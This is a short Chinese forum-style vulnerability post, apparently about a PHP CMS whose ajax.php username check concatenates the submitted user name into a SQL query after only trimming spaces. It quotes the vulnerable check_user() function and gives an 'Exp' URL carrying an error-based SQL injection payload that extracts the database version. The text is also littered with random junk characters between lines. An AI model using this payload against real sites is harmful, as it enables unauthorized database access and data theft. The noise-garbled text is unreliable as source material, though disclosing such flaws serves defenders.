在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。* b3 {* Y3 Z2 b- H
i, H9 V' P" U# l
% C0 w! X ` m6 H
( `. t4 k& H r' v! b* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } 5 p( a3 G, Z4 x3 `" ?
2 [; S. u" F1 d' ^- t: a
' @! [' a C8 t. b$ K9 U! Q- J
1 @. u( Q4 i2 {$ }Exp:
+ } b g U" x. y( r7 C4 O7 m
3 |/ T- j6 ^: T% W6 @) j 2 D, U# g- J2 Y
$ d2 ^; f6 q4 G& W0 K1 Mhttp://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
) Y! P0 U' g9 }: I0 e8 O: M- [) h' T T) T7 h$ M: O
|